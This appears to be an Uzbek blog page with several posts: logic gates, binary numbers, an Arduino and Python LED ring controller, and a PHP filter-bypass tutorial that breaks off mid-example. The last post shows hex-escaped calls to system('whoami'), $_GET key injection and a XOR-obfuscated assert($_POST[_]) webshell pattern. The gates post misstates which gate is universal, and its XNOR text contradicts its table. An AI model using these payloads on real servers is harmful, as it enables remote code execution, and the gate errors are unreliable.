Ko'pgina zamonaviy kompyuterlarda mantiqiy eshiklar rezistorlar, diodlar va boshqa elektr komponentlar bilan birlashtirilgan tranzistorlar yordamida qurilgan. Albatta kompyuteringizni ochib ko'rganingizda bularni ko'ra olmaysiz. Chunki ular nanometrlar ortida joylashgan. Masalan mening kompyuterimda 6 milliondan ortiq bunday mantiqiy eshiklar bor. Kompyuter vazifasi va texnik talabiga ko'ra bu son belgilanib borilaveriladi.

Mantiqiy eshiklarni real hayotdagi qurilmalarda ko'z bilan ko'rishimiz qiyin bo'lsada ularni ishlash prinsipini o'rganishimiz o'zimizdagi mavjud komponentlar orqali yaratishimiz ham mumkin.

> Oddiyroq misolda tasavvur qilsak: kompyuterni katta bir savdo
> markazi deb olaylik. Siz bozorlik qilishingiz uchun markaz ichidagi
> mayda do'konlarda foydalanasiz. Do'kon vazifalari takrorlanshi mumkin
> lekin uning vazifasi sizga tovar yetkazish (shartni tekshirish).
> Asosiysi qaysidir do'kon ochiq rastada, boshqasida kirish va chiqish
> eshiklari bor.
> Yoki yana ham oddiyroq misolda ko'radigan bo'lsak binodagi ko'proq chiroqlar va ular uchun belgilangan o'chirish, yoqish kalitlari bu.

Kirish eshiklari odatda bir yoki bir nechta bo'lishi mumkin, lekin chiqish har doim bitta holatda bo'ladi xolos.

## Mantiqiy eshik turlari

Mantiqiy eshik - signalni o'tkazish yoki o'tmaslikni aniqlash uchun ma'lumotlar oqimini ma'lum qoidalar asosida boshqaradi.

Uning quyidagi turlari keng tarqalgan:

1.  NOT
2.  AND
3.  OR
4.  NOR
5.  NAND
6.  XOR
7.  XNOR

## NOT eshigi

![not gate](https://media.geeksforgeeks.org/wp-content/uploads/20211107120202/SymbolofNOTgate.jpg)

Ushbu eshikda kirish va chiqishlar bitta. Kirish 1 (rost) bo'lsa, chiqish 0 (yolg'on) bo'ladi yoki aksincha.

NOT eshigi o'zining xususiyati tufayli ba'zan inverter deb ham ataladi. Agar faqat bitta A kirish bo'lsa, chiqish mantiqiy tenglama Y=A' yordamida hisoblanishi mumkin.

| Kirish | Chiqish |
| ------ | ------- |
| A      | X       |
| 1      | 0       |
| 0      | 1       |

### AND eshigi

![enter image description here](https://media.geeksforgeeks.org/wp-content/uploads/20211105170309/SymbolofANDgate.jpg)

Ushbu eshik bitta chiqish va ikki yoki undan ortiq kirishlarga ega. Barcha kirishlar 1 (rost) bo'lsa, chiqish 1 (rost) ga teng, aks holda esa faqat 0 (yolg'on) holatda bo'ladi.

AND eshigining mantiqiy tenglamasi: Y=A.B (Kirishlash soniga qarab oshib borishi mumkin)

| Kirish | Chiqish |
| ------ | ------- |
| A - B  | X       |
| 0 - 0  | 0       |
| 0 - 1  | 0       |
| 1 - 0  | 0       |
| 1 - 1  | 1       |

### OR eshigi

![or gate](https://media.geeksforgeeks.org/wp-content/uploads/20211107115351/SymbolofORgate.jpg)

Ushbu eshik xuddi AND kabi, faqatgina bunda kirishlardan istalgan bittasi 1 (rost) holatga keltirilsa chiqish ham shunga teng bo'ladi.

OR eshigining mantiqiy tenglamasi: Y=A+B

| Kirish | Chiqish |
| ------ | ------- |
| A - B  | X       |
| 0 - 0  | 0       |
| 0 - 1  | 1       |
| 1 - 0  | 1       |
| 1 - 1  | 1       |

### NOR eshigi

![nor gate](https://media.geeksforgeeks.org/wp-content/uploads/20211107121157/sybmolofNORgate.jpg)
Bu eshik NOT va OR eshigining chatishmasi sifatida keng tanilgan. Bunda chiqish faqat uning barcha kirishlari 0 (yolg'on) bo'lganda 1 (rost) ga tenglashadi.

NOR eshigining mantiqiy tenglamasi: Y=(A+B)`

| Kirish | Chiqish |
| ------ | ------- |
| A - B  | X       |
| 0 - 0  | 1       |
| 0 - 1  | 0       |
| 1 - 0  | 0       |
| 1 - 1  | 0       |

_NOT eshigi ba'zan universal eshik sifatida tanilgan, chunki u OR, AND va NOT eshiklarini amalga oshirish uchun ishlatilishi mumkin._

### NAND eshigi

![nand eshigi](https://media.geeksforgeeks.org/wp-content/uploads/20211107122015/symbolofNANDgate-300x112.jpg)

Bu eshik ham xuddi NOR kabi faqat uning teskari prinsipida ishlaydi. Agar kirishlarning hech biri 1 (rost) ga teng bo'lmasa chiqish 1 ga tenglashadi. Agar barcha kirishlar rost bo'lmasa va kamida bittasi yolg'on bo'lsa, chiqish rostga aylanadi.

NAND eshigining mantiqiy tenglamasi: Y=(A.B)'

| Kirish | Chiqish |
| ------ | ------- |
| A - B  | X       |
| 0 - 0  | 1       |
| 0 - 1  | 1       |
| 1 - 0  | 1       |
| 1 - 1  | 0       |

### XOR eshigi

![xor gate](https://media.geeksforgeeks.org/wp-content/uploads/20211107123017/SymbolofXORgate.png)
Eksklyuziv OR eshigida kirishlardan birortasi 1 (rost) bo'lsa chiqish ham shunga teng bo'ladi. Agar barcha kirish 1 (rost) bo'lsa, chiqish 0 (yolg'on) bo'ladi. Yoki ikkala kirish 0 (yolg'on) bo'lsa, chiqish ham 0 (yolg'on) bo'ladi.

XOR eshigining mantiqiy tenglamasi: Y=A'.B+A.B'
|Kirish|Chiqish|
|--|--|
|A - B|X|
|0 - 0|0|
|0 - 1 |1|
|1 - 0 |1|
|1 - 1 |0|

### XNOR eshigi

![xnor](https://media.geeksforgeeks.org/wp-content/uploads/20211107124605/SymbolofXnorgate-300x132.jpg)
Eksklyuziv NORda agar ikkala kirish ham 1 (rost) bo'lsa eshikning chiqishi 1 (rost) bo'ladi. Agar ikkala kirish ham 0 (yolg'on) bo'lsa, chiqish ham 0 (yolg'on) bo'ladi. Yoki kirishlardan biri 0 (yolg'on) bo'lsa, chiqish ham 0 (yolg'on) bo'ladi.

XNOR eshigining mantiqiy tenglamasi: Y=A.B+A'B'

| Kirish | Chiqish |
| ------ | ------- |
| A - B  | X       |
| 0 - 0  | 1       |
| 0 - 1  | 0       |
| 1 - 0  | 0       |
| 1 - 1  | 1       |


Ko'pgina zamonaviy kompyuterlarda mantiqiy eshiklar rezistorlar, diodlar va boshqa elektr komponentlar bilan birlashtirilgan tranzistorlar yordamida qurilgan...

Mantiqiy eshiklar


Maktabdagi informatika o'qituvchingiz sizga kompyuter 0 va 1 orqali ishlashini aytgani bilan lekin uni aslida qanday ishlashini tushuntirib bermagan bo'lsa kerak a? Bu ma'lumot haqida maktabda eshitmagan bo'lsangiz ham bugungi raqamli dunyoda tez-tez duch kelishingiz mumkin albatta. Ho'sh aslida ular nima va kompyuter uchun nimalar qilib bera oladi?

## Avval sanoq tizimi haqida

Sonlarni maxsus belgilar (raqamlar) toʻplami yordamida yozish usuliga sanoq tizimi deb aytiladi.
Raqamlarni yozish zarurati qadimgi davrlarda odamlar hisoblashni o'rganganlaridan keyin paydo bo'lgan. Bunga paleolit ​​davriga oid arxeologik topilmalar guvohlik beradi. Dastlab, obyektlar soni ma'lum belgilar yordamida tasvirlangan: chiziqlar, tirqishlar, toshlarga, yog'ochga yoki loyga qo'llaniladigan doiralar, shuningdek arqonlardagi tugunlar kabi. Dunyodagi birinchi sanoq tizimini albatta bu birlik hisoblanadi.

Birlik sanoq sistemasidan foydalanish misollarini hayotimizda uchratish mumkin. Misol uchun, kichkina bolalar barmoqlarida necha yoshda ekanligini tasvirlashga harakat qilishadi yoki birinchi sinfda hisoblashni o'rgatish uchun hisoblash tayoqchalaridan foydalaniladi. Men ushbu sanoq tizimini inson genida to'liq saqlanadigan tizim degan bo'lar edim.

Albatta birlik sanoq tizimi unchalik qulay emas, chunki yozuvlar juda uzun va ularni qo'llash ancha zerikarli, shuning uchun ham vaqt o'tishi bilan ko'proq amaliy sanoq tizimlari paydo bo'la boshladi.

Qadimgi Misr tarixiga ham nazar soladigan bo'lsak bitta kaltak bir soni deb olingan bo'lsa, qo'llarini yuqoriga ko'targan odam surati bir million miqdorini bergan.

Yoki rim tarixidan misol: Barmoq bir sonini belgilasa, ochiq kaft besh sonini anglatgan. Rimliklar keyinchalik sonlarni ifodalash uchun tegishli lotin so'zlarining birinchi harflari ham ishlatishgan (Centum- yuz, Mille - ming kabi).

Slavyan xalqlari tarixida alfavitga asoslangan sanoq tizimlari ham uchardi. Bu esa yuqoridagi tizimlardan ko'ra ancha mukammalroq va sodda bo'lgan.

Bugungi kunda biz ishlatadigan sanoq tizimi qadimgi arab va hind xalqlariga tegishli hisoblanadi.

Hisoblash mashinalarida, odatda, Gotfrid Leybnits tomonidan taklif qilingan ikkilik sanoq tizimi ishlatiladi. Bunday sonlarni tasvirlash uchun ikkita - 0 va 1 raqamlaridan foydalaniladi. Ikkilik sanoq tizimining ishla-tilishi EHMlar quriladigan elementlarning faqat 2 ta turgʻun ishchi holatda boʻlishi bilan bogʻliq. Bu elementlar kalitlarga oʻxshash boʻlib, ular yoqilgan yoki oʻchirilgan holatlarda boʻladi. Uchinchi holat yoʻq. Bu holatlarning biriga 1, Ikkinchisiga 0 mos qoʻyilsa, bunday elementlarning ketmaketligi ikkilik sanoq tizimidagi songa mos keladi.

## Nima uchun kompyuterlar ikkilik sanoq tizimidan foydalanadi?

Ikkilik sanoq tizimi hali ham kompyuterlar uchun asosiy til bo'lib, quyidagi sabablarga ko'ra elektronika va kompyuter texnikasi bilan qo'llaniladi.

Elektron kalitlarda (tranzistor) "0" elektr oqimining yo'qligini va "1" oqimga ruxsat berilgan elektr energiyasini anglatadi. Raqamlar hisoblash qurilmasi ichida jismoniy ko'rinishda ifodalanadi, bu esa hisob-kitoblarni amalga oshirishga imkon beradi.

Xotira manbalarida ham xuddi shunday. Masalan magnitli lentani olaylik, magning musbat va manfiy qutblari xuddi binary kabi ifodanaladi.

## Bu qanday ishlaydi?

Keling jarayonni Lenin chirog'i orqali tushunishga harakat qilamiz. Quyosh botib tun kirib kelganda yoritish maqsadida lampochkani yoqish uchun devordagi elektr kalitidan foydalanamiz. Kalit pastga bosilganda lampochka o'chiq, yuqoriga bosilganda esa lampochka yonadi. Bir buni bemalol bir bit deyishimiz mumkin.

Yoki quyidagi misolga qaraylik:

Quyidagi jadvalda 01000001 ikkilik sanoq tizimi uchun misol keltirilgan. Har bir ustun darajalarga ko'tarilgan ikki raqamni ifodalaydi , sakkizta pozitsiyaning har biri bo'ylab harakatlanayotganda bu ko'rsatkichning qiymati bittaga ortib boradi.

Ushbu misolning javobini chiqarish uchun jadvalni o'ngdan chapga o'qiymiz va har bir ustunning qiymatini oldingi ustunga qo'shib boramiz: (1+64) = 65. Biz 0 ga teng bo'lgan bitlarni hisoblamaymiz, chunki ular "o'chirilgan".

|        |      |      |      |      |      |      |      |      |
| ------ | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- |
| Daraja | 2^7^ | 2^6^ | 2^5^ | 2^4^ | 2^3^ | 2^2^ | 2^1^ | 2^0^ |
| Qiymat | 128  | 64   | 32   | 16   | 8    | 4    | 2    | 1    |
| Holat  | 0    | 1    | 0    | 0    | 0    | 0    | 0    | 1    |

Keyingi misolda 8-bit qiymatni hisoblaylik. Ya'ni 11111111=255. Jarayoni o'ngdan chapga o'qiganimizda 1 + 2 + 4 + 8 + 16 + 32 + 64 + 128 = 255 javobi chiqqanini ko'ramiz.
||||||||||
|--|--|--|--|--|--|--|--|--|
|Daraja|2^7^|2^6^|2^5^|2^4^|2^3^ |2^2^|2^1^|2^0^  
|Qiymat|128|64|32|16|8|4|2|1
|Holat|1|1|1|1|1|1|1|1

> Kompyuterda hisoblash odatda "1" o'rniga "0" dan boshlanadi. Shuning uchun, barcha bitlarni sanash 255 ga teng, lekin agar siz 0 dan boshlasangiz, bu 256 ga teng.

Kompyuter axborot birliklaridan bizga ma'lumki 8bit 1 baytga teng. Birinchi misoldagi 01000001 ikkilik tizimni javobi 65 deb qaraydigan bo'lsak va buni ASCII jadvalidan izlasak "A" harfiga teng bo'ladi.

## Sodda kompyuter va dasturlash tili

Yuqoridagi misollarda keltirilgan 8bitni, 8ta kalit deb tasavvur qilaylik va misol sifatida 3 raqamini olaylik. 3 sonining 8-bitli ko'rinishi quyidagicha bo'ladi: 00000011.

Demak boshlang'ich oltita kalitni o'chiq holatda va yakuniy ikkitani yoniq holatga o'tkazaylik. Buni sodda ko'rinishga ega registrlar (xotira bloklari) deyish mumkin ( Bunday bloklari hozircha biz uchun absurd bo'lgan Protsessor va RAM ko'rinishini yaratadi ).

Endi yuqoridagi misolga tayanib 2+3 amalini hisoblashimiz kerak. Bu uchun bitta registrda 2 sonini va 3 ni boshqa registrda saqlashimiz lozim. Keyin esa mantiqiy amallarga asoslangan blok (qurilma) orqali registerdagi bitlar ketma-ketligini berib boshqa bir registerda javob chiqara olamiz.

### Prevdo kodlar misolida

Mashina kodi:

```
80 02 F3
80 03 F4
88 F3 F4 F5
```

Assembler tilida:

```
MOVI 2, REG A
MOVI 3, REG B
ADD REG A, REG B, REG C
```

C tilida:

```
int a = 2; b = 3;
c = a+b;
```


Maktabdagi informatika o'qituvchingiz sizga kompyuter 0 va 1 orqali ishlashini aytgani bilan lekin uni aslida qanday ishlashini tushuntirib bermagan bo'lsa kerak a?

Nol va birdan assemblergacha


Yaqinda veb kamera yorug'ligini ta'minlash uchun do'kondan Led RING sotib olishga to'g'ri keldi. Boshida muammosiz ishladi. Bir kun o'tgach esa Gobliddin aka aytgandek Xitoyni moli parot qilishni boshladi. Aniqroq aytadigan bo'lsam platadagi controller ishdan chiqqan edi.

![led ring](https://i.ibb.co/DrDt4jB/godox-lr-120b-led-ring-light.jpg)

Boshida shunchaki controllerni amashtirib tuzatish fikri tug'ildi. Lekin platani ochib ko'rganimda doimgidek mikrosxema haqida hech qanday ma'lumotlar mavjud emas.

![plata](https://i.ibb.co/RTLz6J0/photo-2022-06-19-19-36-00.jpg)

Asosiysi svetodiodlar butunligi. Platadagi controller ishdan chiqishi esa boshqa bir foydali tomonga yordam berdi.
Led ring uchun ikkita svetodiod ishlatilgan, biri sarg'ish, yana bir oq fon uchun. Controller vazifasi svetodiodni o'chirib yoqish, ikkita svetodiod rejimini almashtirish va yorqinlikni nazorat qilish edi.

Controllerdan keyingi o'rinlarda svetodiod uchun ikkita mosfet (led dimmer) qo'yilgan ekan. Demak yangi g'oya uchun yarim tayyor plata, qo'shimcha knopkalar ham yo'q emas.
![led dimmer](https://i.ibb.co/1LLCRM3/Sot-23-N-CH-3400-A09-T-30-V-5-6-A-SMD-LED-Driver-Dimmer-Transistor-Mosfet-with-Ro-HS-ISO.jpg)

## G'oya o'zi qanday?

Platadagi controller ishlamagach uni qayta yasashga to'g'ri keladi. Albatta birgina potensiometr bilan ishni hal qilish mumkin aslida lekin bu yana mexanik harakatlarni yuzaga keltiradi.
Kompyuter qarshisidan turib yorug'likni sozlash kimga ham yoqardi deysiz.
Demak biz qayta qiladigan ishlar:

- O'chirib yoqishni ta'minlash
- Rejimlarni almashtira olish
- Yorqinlikni boshqarish
- Yoquridagi bandlarni kompyuter orqali ham bajara olishni ta'minlash

## Yechim

Velosipedni qayta ixtiro qilib o'tirish shart emas. Shu sababli ham tayyor arduino (atmega 328)dan foydalanish mumkin va bu ishni ancha osonlashtiradi ham. Kompyuter bilan ulash uchun plata o'zida tayor ch40 serial controller ham bor qaytaga.

## Sxematika

Led ring platasini modlash oson masala. A09T dimmer gate uchun arduinodagi interruptlardan foydalanamiz. Bu bizga yorqinlikni boshqarish uchun yuqori signal generatsiya qilishni ta'minlab bera oladi.
Qolgan buttonlarni esa istalgan pinlar orqali **INPUT_PULLUP** yordamida holatini boshqaramiz.

_INPUT_PULLUP arduinoda tashqi resistor yordamisiz ichki resiztordan source olish imkonini beradi. Bu bilan biz button va groundlar o'rtasida kalit yasash orqaligina yengil chiqa olamiz._

## Arduino

```c
#include <EEPROM.h>

const int onOffPin = 2; // O'chirib yoqish tugmasi
const int modePin = 3; // Rejimni almashtirish tugmasi
const int upPin = 5; // Yorug'likni ko'tarish tugmasi
const int downPin = 4; // Yorug'likni pasaytirish tugmasi

const int ledF= 11; // PIN11 (interrupt)
const int ledS= 10; // PIN10 (interrupt)

const int maxBrightness= 10; // map funksiyasiga asoslanib 0-255gacha darajalarni chiqarish
const int brightnessInterval=1; // har bir daraja intervali

int onOffState = 0;
int mode = 1;
int brightness = maxBrightness;

unsigned long buttonMillis = 0;
unsigned long serialMillis = 0;

void setup() {
  Serial.begin(9600);

  // Pinlarni sozlash
  pinMode(onOffPin, INPUT_PULLUP);
  pinMode(modePin, INPUT_PULLUP);
  pinMode(upPin, INPUT_PULLUP);
  pinMode(downPin, INPUT_PULLUP);

  // EEPROM xotiradan konfiguratsiyalarni o'qish
  int c_onfstate, c_mode, c_brightness;
  c_onfstate = EEPROM.read(1);
  c_mode = EEPROM.read(2);
  c_brightness = EEPROM.read(3);

  // Joriy konfiguratsiyalarni moslash
  if(c_onfstate != 255){
    onOffState = c_onfstate;
  }
  if(c_mode != 255){
    mode = c_mode;
  }
  if(c_brightness != 255){
    brightness = c_brightness;
  }
}
void loop() {
  // Serial (kompyuter orqali kelgan ma'lumotlarni o'qish)
  if( Serial.available() > 0 ){
    int val = Serial.read();
    Serial.println(val);
    if ( val == 49 ) {
      onOffState = 1;
      EEPROM.write(1, 1);
    }
    if ( val == 50 ) {
      onOffState = 0;
      EEPROM.write(1, 0);
    }
    if ( val == 51 ) {
      mode = 1;
      EEPROM.write(2, 1);
    }
    if ( val == 52 ) {
      mode = 2;
      EEPROM.write(2, 2);
    }
    if ( val == 53 ) {
      mode = 3;
      EEPROM.write(2, 3);
    }
    if ( val == 54 && brightness < maxBrightness && onOffState) {
      brightness = brightness + brightnessInterval;
      EEPROM.write(3, brightness);
    }
    if ( val == 55 && brightness > 0 && onOffState ) {
      brightness = brightness - brightnessInterval;
      EEPROM.write(3, brightness);
    }
  }

  // Tugma holatlarini kuzatish
  unsigned long currentMillis = millis();
  if(currentMillis - buttonMillis > 500){
    if (digitalRead(onOffPin) == LOW) {
      onOffState = !onOffState;
      EEPROM.write(1, onOffState);
      buttonMillis = currentMillis;
    }
    if (digitalRead(modePin) == LOW && onOffState) {
      switch (mode) {
        case 1:
          mode = 2;
        break;
        case 2:
          mode = 3;
        break;
        case 3:
          mode = 1;
        break;
      }
      EEPROM.write(2, mode);
      buttonMillis = currentMillis;
    }
    if (digitalRead(upPin) == LOW && brightness < maxBrightness && onOffState) {
      brightness = brightness + brightnessInterval;
      EEPROM.write(3, brightness);
      buttonMillis = currentMillis;
    }
    if (digitalRead(downPin) == LOW && brightness > 0 && onOffState ) {
      brightness = brightness - brightnessInterval;
      EEPROM.write(3, brightness);
      buttonMillis = currentMillis;
    }
  }

  // Tizimni ishga tushirish
  if(onOffState){
    if(mode == 1 || mode == 3){
      analogWrite(ledF, map(brightness, 0, maxBrightness, 0, 255));
    }else{
      digitalWrite(ledF, LOW);
   }
    if(mode == 2 || mode == 3){
      analogWrite(ledS, map(brightness, 0, maxBrightness, 0, 255));
    }else{
      digitalWrite(ledS, LOW);
    }
  }else{
    digitalWrite(ledF, LOW);
    digitalWrite(ledS, LOW);
  }

  // Agarda kompyuter bilan sinxronizatsiya qilish kerak bo'lsa o'zgaruvchilarni kompyuterga yuborish
  if (currentMillis - serialMillis >= 300) {
    serialMillis = currentMillis;
    Serial.println( String( onOffState)  + '|' + String(mode) + '|' + String(brightness ) );
  }

  // Jarayonni stabillashtirish
  delay(10);
}
```

## Python

Kompyuter orqali boshqarish uchun eng maqul yo'l python dasturlash tilini tanlash. Tabga ko'ra boshqa til orqali ham ushbu ishni amalga oshirish mumkin.

```python
import serial
import time
import tkinter
from tkinter import ttk
from pystray import MenuItem as item
import pystray
from PIL import Image, ImageTk

ser = serial.Serial('/dev/ttyUSB0', 9600) # Arduino porti (Windows uchun COM_X ko'rinishida beriladi)
#time.sleep(3)

def button_on():
	ser.write(bytes('1', 'UTF-8'))

def button_off():
	ser.write(bytes('2', 'UTF-8'))

def button_m1():
	ser.write(bytes('3', 'UTF-8'))

def button_m2():
	ser.write(bytes('4', 'UTF-8'))

def button_m3():
	ser.write(bytes('5', 'UTF-8'))

def button_up():
	ser.write(bytes('6', 'UTF-8'))

def button_down():
	ser.write(bytes('7', 'UTF-8'))

def aboutprogram():
	about_win = tkinter.Toplevel(win)
	ws = win.winfo_screenwidth()
	hs = win.winfo_screenheight()
	about_win.resizable(0, 0)
	sx = (ws/2) - (160/2)
	sy = (hs/2) - (100/2)
	about_win.geometry('%dx%d+%d+%d' % (160, 100, sx, sy))
	about_win.resizable(0, 0)
	about_win.title("Dastur haqida")

	comp = tkinter.Label(about_win, text ="Yetim dasturchi\npiradakshin :)\n\nwww.manu.uno\n@yetimdasturchi")
	comp.pack(pady = 25, side = tkinter.RIGHT)
	comp.configure(font=("Courier", 12))
	comp.place(x=3, y=4)

def quit_window(icon, item):
   icon.stop()
   win.destroy()

def show_window(icon, item):
   icon.stop()
   win.after(0,win.deiconify())

def hide_window():
   win.withdraw()
   image=Image.open("favicon.ico")
   menu=(item('Ochish', show_window), item('Chiqish', quit_window))
   icon=pystray.Icon("name", image, "Manu Light", menu)
   icon.run()

win = tkinter.Tk()
#win.geometry("800x600")
win.title("Led") #Manu ledlight
#win.iconbitmap(default=resource_path("icon.ico"))
win.resizable(0, 0)
ws = win.winfo_screenwidth()
hs = win.winfo_screenheight()
sx = (ws/2) - (166/2)
sy = (hs/2) - (166/2)
win.geometry('%dx%d+%d+%d' % (166, 166, sx, sy))
win.protocol('WM_DELETE_WINDOW', hide_window)

button_on = tkinter.Button(win,
    text="Yoqish",
    command=button_on,
    height = 1,
    fg = "black",
    width = 5,
    bd = 1,
)
button_on.pack(side='top', ipadx=5, padx=5, pady=5)
button_on.place(x=2, y=2)

button_off = tkinter.Button(win,
    text="O'chirish",
    command=button_off,
    height = 1,
    fg = "black",
    width = 5,
    bd = 1,
)
button_off.pack(side='top', ipadx=5, padx=5, pady=5)
button_off.place(x=90, y=2)

separator = ttk.Separator(win, orient='horizontal')
separator.place(relx=0, rely=0.22, relwidth=1, relheight=1)

button_m1 = tkinter.Button(win,
    text="M1",
    command=button_m1,
    height = 1,
    fg = "black",
    width = 2,
    bd = 1,
)
button_m1.pack(side='top', ipadx=5, padx=5, pady=5)
button_m1.place(x=2, y=42)

button_m2 = tkinter.Button(win,
    text="M2",
    command=button_m2,
    height = 1,
    fg = "black",
    width = 2,
    bd = 1,
)
button_m2.pack(side='top', ipadx=5, padx=5, pady=5)
button_m2.place(x=59, y=42)

button_m3 = tkinter.Button(win,
    text="M3",
    command=button_m3,
    height = 1,
    fg = "black",
    width = 2,
    bd = 1,
)
button_m3.pack(side='top', ipadx=5, padx=5, pady=5)
button_m3.place(x=117, y=42)

separator1 = ttk.Separator(win, orient='horizontal')
separator1.place(relx=0, rely=0.47, relwidth=1, relheight=1)

button_up = tkinter.Button(win,
    text="+",
    command=button_up,
    height = 1,
    fg = "black",
    width = 5,
    bd = 1,
)
button_up.pack(side='top', ipadx=5, padx=5, pady=5)
button_up.place(x=2, y=84)

button_down = tkinter.Button(win,
    text="-",
    command=button_down,
    height = 1,
    fg = "black",
    width = 5,
    bd = 1,
)
button_down.pack(side='top', ipadx=5, padx=5, pady=5)
button_down.place(x=90, y=84)

separator2 = ttk.Separator(win, orient='horizontal')
separator2.place(relx=0, rely=0.72, relwidth=1, relheight=1)

aboutprogram = tkinter.Button(win,
    text="Dastur haqida",
    command=aboutprogram,
    height = 1,
    fg = "black",
    width = 15,
    bd = 1,
)
aboutprogram.pack(side='top', ipadx=5, padx=5, pady=5)
aboutprogram.place(x=2, y=127)

#win.state("zoomed")
win.mainloop()
```


Yaqinda veb kamera yorug'ligini ta'minlash uchun do'kondan Led RING sotib olishga to'g'ri keldi. Boshida muammosiz ishla...

Led ring uchun ikkinchi hayotni bag'shlash


Sarflavhani o'zidayoq ko'pchilikni waf o'zi nima degan savol o'ylantirgan bo'lsa kerak.

WAF - Web application firewall ya'ni web saytlarni xss, sql injection, cookie poisoning (cookie orqali zaharlash) kabi hujum turlaridan himoya qiladigan ilova hisoblanadi.
Ushbu ilova orqali siz hattoki teshik tog'oraga aylangan tizimni ham bemalol hujum scriptlarini filtrlash orqali himoya qilishingiz mumkin.

Lekin bu dunyoda xuddi odam immun tizimi kabi mukammal himoya tizimi mavjud emas. Har qanday himoya tizimini yorib o'tishning yo'llari mavjud.

## WAF qanday ishlaydi

WAF oldindan belgilangan filtrlash shartlariga binoan foydalanuvchidan kelayotgan murojaatlar orasidagi ishga tushirish mumkin bo'lgan kodni tozalaydi.

Misol uchun `sayhello` va `system` funsksiyalarini filtrlash. Bunda kritilgan matnda shart uchun qo'shilgan ikkita funksiya nomi bo'lsa xatolik beriladi:

```php

function sayhello( $text ) {
  echo "Salom: $text";
}
if ( ! preg_match('/sayhello|system/', $code ) ) {
	eval( $code );
}else{
	echo 'Ruxsat etilmagan kiritish';
}
```

## Chetlab o'tish

### Birinchi usul

PHPda `string` o'rgaruvchisini e'lon qilish vaqtida ekranizatsiya qilish mumkin. Soddaroq aytganda biz double quote ya'ni " belgisi orasida berilgan maxsus belgilarni chop etishimiz mumkin. Yangi qator ( \n ), tabulator (\t) kabi maxsus belgilarni ko'pchilik ishlatib ko'rgan bo'lsa ham kerak.

Ular orasida belgilarni o'noltilik sanoq tizimida chop etish usuli ham kiritilgan.
Misol "Salom dunyo!" yozuvi:

```php
echo "\x53\x61\x6c\x6f\x6d\x20\x64\x75\x6e\x79\x6f\x21";
```

Qo'shimcha tarzda esa php ham boshqa ko'plab tillardagi kabi o'zgaruvchilarga asoslangan funksiyalarni qo'llab quvvatlaydi.

Misol buyerda `$test` o'zgaruvchisi qavs belgilangach funskiyaga murojaat qilishga o'tyapti:

```php
$test = "sayhello";
$test('Toshmat');
```

Demak bizda o'n oltilik sanoq tizimiga asoslanib chop etish va o'zgaruvchini funsksiyaga murojaat qila olishi orqali yuqoridagi himoyani chetlab o'tish imkoni mavjud.

```php
$code = '"\x73\x61\x79\x68\x65\x6c\x6c\x6f"("test");'; //"sayhello"("test");
```

Natija:

```
Salom: test
```

Yoki ikkinchi funskiya uchun murojaat:

```php
$code = '"\x73\x79\x73\x74\x65\x6d"("whoami");'; //"system"("whoami")
```

Natija:

```
sapper
```

### Ikkinchi usul

Ushbu usul uchun endi himoyani yanada kuchaytiramiz va murojaatlarini `$_GET` so'rovi orqali qabul qilamiz.

```php
$code = $_GET['code'];
if ( ! preg_match('/system|exec|[\"\']/', $code ) ) {
	eval( $code );
}else{
	echo 'Ruxsat etilmagan kiritish';
}
```

E'tibor bergan bo'lsangiz endi kodimizda tirnoq yoki qo'shtirnoqlarni ham filtrlash qo'shildi. Endi biz birinchi usuldan foydala olmaymiz. Lekin boshqa bir yo'l ham mavjud. Massiv asosida chetlab o'tish. Kodimizda `$code` o'rgaruvchisi uchun `$_GET` massivining `code` kalitiga teng qiymatni belgilayapmiz. Lekin massivdagi boshqa kalitlar e'tiborsizligicha qoldirilmoqda.

Demak biz http orqali quyidagi murojaatni amalga oshiramiz.

```
/hole.php?a=sayhello&b=test&code=$_GET[a]($_GET[b]);
```

Bunda `$_GET` massivining `code` elementiga himoyadagi `sayhello` va qo'shtirnoqlar biriktirilmayapti. Uning o'rniga tekshiruvdan tashqarida bo'lgan `a` va `b` elementlarini o'rgaruvchi sifatida belgilash qo'llanilmoqda.

Natija:

```
**Notice**: Use of undefined constant a - assumed 'a' in **hole.php(14) : eval()'d code** on line **1**

**Notice**: Use of undefined constant b - assumed 'b' in **hole.php(14) : eval()'d code** on line **1**
Salom: test
```

### Uchinchi usul

Keling maydalashib o'tirmaylikda `string` imkoniyatlaridan voz kechaylik. Filtrlashdan qochishni dinamik o'rgaruvchi yaratib `assert` orqali tizimga birlashtirib yuboraylik.

PHP da debugging uchun juda ko'p imkoniyatlar mavjud. Assert ham dasturni tekshirish jarayonida ishlatilib shart bajarilmaganda boshqa bir harakatni amalga oshirish uchun qo'llaniladi.

Misol:

```php
<?php
$a = 1;
assert($a == 1, "O'zgaruvchi birga teng emas");
echo "Birinchi amal bajarildi";
assert($a == 2, "O'zgaruvchi birga teng emas");
echo "Ikkinchi amal bajarildi";
```

Bundan `$a` birinchi amalda rost javobini beradi. Chunki o'zgaruvchi birga teng. Ikkinchi amalda esa xatolik kuzatamiz chunki ikkiga teng emas.

```
Birinchi amal bajarildi
Fatal error: Uncaught AssertionError: O'zgaruvchi birga teng emas in code.php:5
Stack trace:
#0 code.php(5): assert(false, 'O'zgaruvchi bir...')
#1 {main}
  thrown in code.php on line 5
```

Demak biz bu usulda assertning shartni bajarish uchun unga murojaat qilish imkonidan foydalanamiz.

Xor operatori orqali esa dinamik belgi yaratamiz.

Misol:

```php
$_POST['_'] = 'sayhello("Toshmat");';
assert($_POST['_']);
```

Natija:

```
Salom: Toshmat
**Warning**: assert(): Assertion "sayhello("Toshmat");" failed in **test.php** on line **26**
```

_Xatolik chiqishiga sabab sayhello funksiyamizdan qayta rost (true) javobi kelmaganida. Lekin assert funksiyani ishga tushirdi_

Dinamik o'zgaruvchi generatsiya qilish uchun esa phpning XOR operatoridan foydalanamiz. Demak shart shunday belgilanishi kerakki ikkita bizga kerakli bo'lmagan belgining xor natijasidan string uchun belgi chiqarishimiz kerak.

```php
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
```

Yuqoridagi kodda xor sharti orqali dinamik o'zgaruvchi funksiya yaratilib uning argumenti sifatida `$_POST` so'rovidan kelgan `_` kalitiga teng qiymat belgilanmoqda.

Demak sahifaga murojaat qilish:

```
